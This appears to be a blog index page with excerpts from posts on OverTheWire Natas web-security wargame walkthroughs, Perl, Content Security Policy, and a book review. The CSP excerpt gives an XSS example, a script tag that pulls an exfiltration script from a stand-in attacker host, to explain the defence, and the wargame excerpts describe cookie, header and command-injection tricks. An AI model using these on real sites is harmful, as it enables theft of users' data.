Hashbang.ca

This is level 11. Your clue is that “XOR encryption” is not encryption. Let’s look in the cookies to find out they have XOR-ed, so we can mess with it.

Welcome to level 10. “For security reasons, we now filter on certain characters” – okay they’ve gotten wise to our little game. But let’s check how good their countermeasures are.

Well, they don’t allow us to use the semicolon or ampersand any longer. Well that’s not a problem, I know other ways to manhandle that command into doing what I want.

In level 9, the “Input secret” form is replaced by one that looks like it is searching for words containing the string you provide. Give it a try, and then look at the code.

Well, this is just grepping through a wordlist, using the POSTed needle as a parameter. Since we control the value of that POSTed variable, we can control the command that gets executed. Now we need to figure out how to use that to our advantage.

Level 8 shows us another “Input secret” form. Let’s examine the source again. This time, there is an “encoded” secret. Let’s try to reverse engineer this. They’re using bin2hex, strrev, and base64_encode – those are all trivially reversible.

Level 7 is a simple webpage that doesn’t seem to offer us any clues about a vulnerability. Let’s click around those links a bit to see more.

Well, each of these links passes the name of the page to a PHP script, which seems to just stuff the contents of the file into the webpage. So, we should be able to change that URL parameter to whatever we want, in order to get the contents of the file containing the next password.

On level 6, there is a curious “Input secret” form. I wonder what it does? Well, there is also a “View sourcecode” link, which will presumably show us the source code for that form. Then, we can try to anaylze whether it has any weaknesses we can take advantage of.

“You are not logged in” – I wonder what that means. Normally, websites use cookies to tell whether you’re logged in. Let’s check if that’s the case here.

If you’re using Google Chrome, press CTRL-J and switch to the “Resources” tab. Expand the “Cookies” item, and select the current domain: “natas5.natas…” and lo and behold there is a cookie there. Named loggedin. With value 0. Remember, the client controls what gets sent in the cookies. That’s our attack vector.

We got an “access disallowed” error because we were visiting from “”, while authorized users should come from “natas5.blah”. Try the “Refresh page” link. Now the page says we came from “natas4.blah”. This is the referring to the Referer[[sic(https://en.wikipedia.org/wiki/Referer#Origin_of_the_term_referer)] header. But that’s information provided by the client, and we control the client. We can put whatever we want in that header. So, let’s put the natas5 domain, as they kindly suggested.

overthewire.org has a series of “war games” – challenges that help you learn by doing. Natas is the webserver security series. Although there are walkthroughs already available, I am going to do my own series of posts. Some of the existing walkthroughs are overly complex, and none actually finished all the levels. The war games unfortunately don’t have anything explaining why the example vulnerabilities can be important in real-world scenarios. I’ll try to fill that void.

I’m going to post one every few days, beginning with levels zero and one today.

I wanted to move a large number of files from one directory to another, but the target directory already had many of the filenames already used. This is a common enough problem – digital cameras use DSC#, video downloaders often append numbers to get a unique filename, and so on. In both those examples, the sequence restarts if you empty the program’s work directory. So, you’ll end up with DSC0001.jpg every time you empty your camera’s memory card. If you’re trying to move such files into a single directory, you’ll get conflicts every time.

Instead of manually renaming the files before transferring them, I wrote a simple script to give each file a unique name in the destination directory.

Moose led to Mouse led to Moo led to Mo led finally to M, which gives you the least object-orientation possible, which is none at all. I quipped that Perl desperately needed a new OO module called Noose – just enough object orientation to hang yourself.

The same-origin policy is a fundamental part of the security infrastructure of the web. It prevents a web site’s scripts from accessing and interacting with scripts used on other sites. This helps keep your data safe because if your bank’s website gives you some data, it can only be accessed by your bank’s website, and not by scripts from other websites.

That’s a nice theory, it’d be a shame if some evidence happened to it.

In the real world, attackers have found ways to get around the same-origin policy to gain access to data they’re not supposed to be able to access. For example, a web programmer might mistakenly include some user-provided input verbatim in the HTML of a webpage – perhaps a username. Well, if your username is <script type="text/javascript" src="http://evil.attacker.com/exfiltrate_browser_data.js"></script>, then how is the web browser supposed to know if that was intentionally put in the HTML of the page? Same-origin policies are insufficient in the face of programmer error. Enter Content Security Policy.

I’ve just finished reading Gabriella Coleman’s new book “Coding Freedom: The ethics and aesthetics of hacking” (2013, Princeton University Press) which culminates over a decade of field research, in-depth interviews, observation, and participation in the hacker scene globally. In this case, “hacker” refers to the free/open-source software (FOSS) hacker, and in particular the Debian project.

Hacking is where craft and craftiness converge.

At Pythian, we have one application that is composed of several components, the deployment of which needs to conform to our slightly peculiar server setup. Until recently, this required manually deploying each component. I did this a couple weeks ago, and it took me something like 40 hours to figure out and complete. As I went, I started reading up on Module::Build, trying to figure out how to automate as much as possible. It turns out that this core module gives us a surprisingly powerful tool for customized deployment. First, it will help to understand a few aspects of how our code is deployed.

Perl does lots of things that make life easier, from postfix conditional and looping constructs, to DWIM-infused language design. One of interesting things I discovered when learning to open a file was that Perl can treat a scalar as an in-memory file:

my $string = "many\nlines\nof\ntext";
open my $in, '<', \$string;
while (<$in>) { print }

The technology world has many problems: sexism, homophobia and/or heterosexism, classism, ageism, trolls, and more – often reflecting the imperfections of broader society. One of the more pernicious problems is our denigration of the non-technical. Yes, science and technology are important, and computing in particular is important – but it is not everything. Science and technology are nothing without public understanding and engagement – a computer does nothing without an operator.